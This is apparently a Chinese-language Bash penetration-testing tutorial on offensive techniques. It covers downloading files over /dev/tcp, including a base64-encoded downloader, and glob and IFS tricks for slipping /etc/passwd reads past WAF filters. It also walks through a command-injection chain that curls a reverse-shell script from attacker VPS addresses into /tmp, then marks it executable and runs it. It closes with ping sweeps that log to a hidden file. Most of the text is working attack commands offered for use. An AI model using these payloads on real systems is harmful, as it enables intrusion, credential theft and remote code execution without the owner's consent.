Bash渗透实战场景
当服务器没有wget、curl怎么下载文件?不能出网? yum apt-get
前置情况:
Busybox是什么?
https://baike.baidu.com/item/busybox/427860
在遇到没有wget的方式时,可以通过curl命令来下载busybox之后安装wget命令。
Copy curl -o busybox http://1.1.1.1/busybox && chmod +x /root/busybox && /root/busybox --install /usr/local/sbin/ && rm -rf /root/busybox && echo "1"
这种方式只能解决部分问题,遇到了没有wget和curl命令的时候就很无解。
以下这段代码主要功能是使用Bash的/dev/tcp文件执行HTTP请求,这就解决了服务器没有wget、curl也能够下载文件
Copy #下载代码
read proto server path <<< "${1 // "/" / }"
DOC = / ${path // // }
HOST = ${server //:* }
PORT = ${server //*: }
[[ x "${HOST}" == x "${PORT}" ]] && PORT = 80
exec 3 <> /dev/tcp/ ${HOST} / $PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
#-r 屏蔽 \,按行读取Header部分,匹配到\r就停止读取
while IFS = read -r line ; do
[[ "$line" == $'\r' ]] && break
done < & 3
nul = '\0'
#读取body的内容
while IFS = read -d '' -r x || { nul = "" ; [ -n "$x" ]; }; do
printf "%s$nul" "$x"
done < & 3
#关闭输出
exec 3>& -
echo Iwt94wEKcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwgIiR7MS8vIi8iLyB9IgpET0M9LyR7cGF0aC8vIC8vfQpIT1NUPSR7c2VydmVyLy86Kn0KUE9SVD0ke3NlcnZlci8vKjp9CltbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCmV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAplY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwoKIy1yIE89IFwMCUz71khlYWRlcugGDDlNMFxyMVxi+9YKd2hpbGUgSUZTPSByZWFkIC1yIGxpbmUgOyBkbyAKICAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKZG9uZSA8JjMKbnVsPSdcMCcKI/vWYm9keYSFuQp3aGlsZSBJRlM9IHJlYWQgLWQgJycgLXIgeCB8fCB7IG51bD0iIjsgWyAtbiAiJHgiIF07IH07IGRvIAogICAgcHJpbnRmICIlcyRudWwiICIkeCIKZG9uZSA8JjMKCiNz7ZP6CmV4ZWMgMz4mLQ== | base64 -d > /root/download
下载文件:
Copy bash -x download http://1.1.1.1:80/111
执行流程分析:
Copy #用read读取URL参数并且进行URL解析并得到path、server、port
+ read proto server path
#获取名称、IP、PORT定义变量
+ DOC=/busybox
+ HOST= 10.32.38.80
+ PORT= 80
#加上x防止出现语法错误
#不加x,当变量为空时会没有,if[ == "0"],会出现语法错误
#加上x,当变量为空时,解析会 if ["x" == "x"],依然正确
+ [[ x10.32.38.80 == x \8\0 ]]
#exec 3<>/dev/tcp/${HOST}/$PORT
#打开tcp Socks,以读写的方式打开。结束以3>&-方式关闭输出连接
+ exec
#转义并加上输出都加上\n换行
+ echo -en 'GET /busybox HTTP/1.0\r\nHost: 10.32.38.80\r\n\r\n'
+ IFS=
#读取每一行请求的内容,遇到\n就结束
+ read -r line
]] \HTTP/1.1 200 OK
+ IFS=
+ read -r line
]] \Date: Sun, 24 Apr 2022 02:36:39 GMT
+ IFS=
+ read -r line
]] \Server: Apache/2.4.39 ( Win64 ) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
+ IFS=
+ read -r line
]] \Last-Modified: Sun, 24 Apr 2022 02:33:33 GMT
+ IFS=
+ read -r line
]] \ETag: "4-5dd5d493bcb25"
+ IFS=
+ read -r line
]] \Accept-Ranges: bytes
+ IFS=
+ read -r line
]] \Content-Length: 4
+ IFS=
+ read -r line
]] \Connection: close
+ IFS=
+ read -r line
]] \Content-Type: text/plain
+ IFS=
+ read -r line
]] \
+ break
+ nul= '\0'
+ IFS=
#以空作为结束符
+ read -d '' -r x
+ nul=
+ '[' -n test ']'
#有则通过printf打印内容给到%s
+ printf %s test
+ IFS=
+ read -d '' -r x
+ nul=
+ '[' -n '' ']'
+ exec
扩展模式
bash内置了这个功能,与所要执行的命令无关,命令本身不存在参数扩展
模块扩展的英文单词是glob,这个词来自于早期的 Unix 系统有一个/etc/glob文件,保存扩展的模板。
其中有些用到通配符,又称为通配符扩展(wildcard expansion)
Bash提供八种扩展:
开启与关闭扩展模式
Copy #关闭扩展
set -o noglob
set -f
#开启扩展
set +o noglob
set +f
Copy ~ 会被 当成用户的主目录
echo ~
#扩展成用户user主目录
echo ~root
#扩展当前所在目录,等同于pwd命令
echo ~+
? 字符代表文件路径中的任意单个字符,但不包括空字符
只有文件存在才会发生扩展,文件不存在就不会
Bypass Waf常看到的
查看当前/etc/passwd
Copy cat /e?c/p?s??d
cat /?t*/??ss**
Copy * 字符代表文件路径里面的任意数量的任意字符,包括零个字符。
ls *.tar.gz
#匹配隐藏文件
echo .*
#匹配隐藏文件,同时排除.和..
echo .[!.*]
#匹配子目录
ls */*.txt
#Waf Bypass
/b*n/cat /et*/p**swd
Copy ls [ab].txt
方括号扩展还有两种变体:[^...]和[!...]。它们表示匹配不在方括号里面的字符,这两种写法是等价的。
#不匹配i出现的文件
ls ?[!i]*
#过滤了关键词,例如password
cat /etc/p[a-z]s[a-z]w[a-z]
Copy ls [a-z].txt
· [a-z]:所有小写字母。
· [a-zA-Z]:所有小写字母与大写字母。
· [a-zA-Z0-9]:所有小写字母、大写字母与数字。
· [abc] * :所有以a、b、c字符之一开头的文件名。
· program.[co]:文件program.c与文件program.o。
· BACKUP.[0-9][0-9][0-9]:所有以BACKUP.开头,后面是三个数字的文件名。
大括号扩展不是文件名扩展。它会扩展成所有给定的值,而不管是否有对应的文件存在。
Copy echo Front-{A,B,C}-Back
cp a.log{,.bak}
等同于:cp a.log a.log.bak
Copy echo {1..4}
#创建目录,以年份-月份
mkdir {2007..2009}-{01..12}
( CMD1 ; CMD2 ; ... ) 和 { CMD1 ; CMD2 ; ... ; } 都可以将多个命令组合在一起
( list ) ,会开启子shell
{ list },不会启子Shell
Copy #扩展成所有以S开头的变量名。
echo ${ ! S * }
实战中IFS利用
在一次实战命令执行中,遇到了过滤:':;,<|>/`"%&
过滤了 “/“ 符号,这里可以通过IFS内部字段分隔符,Internal Field Separator 的缩写)来bypass
Copy echo $( expr$ {IFS} substr$ {IFS} $PWD${IFS} 1$ {IFS} 1 )
${IFS} 是Linux下的分隔符的意思,可以将${IFS}进行空格替换。
subset:是返回起始位置为POS(从1开始计数)、长度为LENGTH个字符的子字符串
Copy cat$ {IFS} $(expr$ {IFS} substr$ {IFS} $PWD${IFS} 1$ {IFS} 1 )etc$( expr$ {IFS} substr$ {IFS} $PWD${IFS} 1$ {IFS} 1 )passwd
实战利用场景:
命令执行漏洞,但代码过滤:':;,<|>/`"%&
目标环境可出网,进行反弹Shell操作。
脚本内容为常见的反弹Shell,写入到HTTP服务Web目录下,建立1.txt文件
Copy #下载脚本
$(curl%20123.123.123.123%20-o%20 $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1) 0000.sh)
#通过curl命令下载VPS内容,放入到/tmp/0000.sh目录下。
$(curl%20122.222.222.222%20-o%20$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)0000.sh)
#chmod命令给于脚本权限
$( chmod%20+x%20$(expr$ {IFS} substr$ {IFS} $PWD${IFS} 1$ {IFS} 1 )tmp$( expr$ {IFS} substr$ {IFS} $PWD${IFS} 1$ {IFS} 1 )0000.sh)
#bash执行脚本
$( bash%20$(expr$ {IFS} substr$ {IFS} $PWD${IFS} 1$ {IFS} 1 )tmp$( expr$ {IFS} substr$ {IFS} $PWD${IFS} 1$ {IFS} 1 )0000.sh)
例如空格绕过还有:
Copy < 符号:cat < /etc/passwd
$IFS$9 cat$IFS$9/etc/passwd
<> cat <> /etc/passwd
探测IP存活
Copy #查询C段存活主机,只显示存在结果
##这种方式太慢了
for ip in { 1..254} ; do ping -c1 -W1 192.168.250.$ip | grep -q "ttl=" && echo "192.168.250.$ip yes" > /dev/null 2>&1 ; done
##多进程,探测C段存活
#!/usr/bin/env bash
for ip in { 1..254} ; do
ping -c1 -W1 192.168.250. $ip | grep -q "ttl=" && echo "192.168.250.$ip yes" >> /usr/tmp/.sys.log & > /dev/null 2>&1 ;
done
wait
##多进程,只扫单个网段
#!/usr/bin/env bash
for ip in { 1..254} ; do
ping 192.168. $ip .1 -c 1 | grep -q "ttl=" && echo "192.168.$ip.1 yes" >> /usr/tmp/.sys.log & > /dev/null 2>&1 ;
done
wait
##扫描B段所有网段,扫10和172,扫192会扫到外网去
#!/usr/bin/env bash
for i in { 1..254} ; do
for j in { 1..254} ; do
ping -c1 -W1 192. $i . $j .1 | grep -q "ttl=" && echo "192.$i.$j.0/24 yes" >> /usr/tmp/.sys.log & > /dev/null 2>&1 ;
done
done
wait